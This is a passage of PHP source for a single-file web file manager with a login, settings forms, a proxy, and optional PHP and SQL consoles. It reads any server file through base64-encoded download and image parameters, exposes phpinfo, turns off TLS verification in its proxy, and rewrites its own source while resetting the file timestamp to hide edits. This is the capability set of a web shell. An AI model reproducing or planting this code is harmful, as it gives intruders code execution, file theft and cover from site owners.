                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
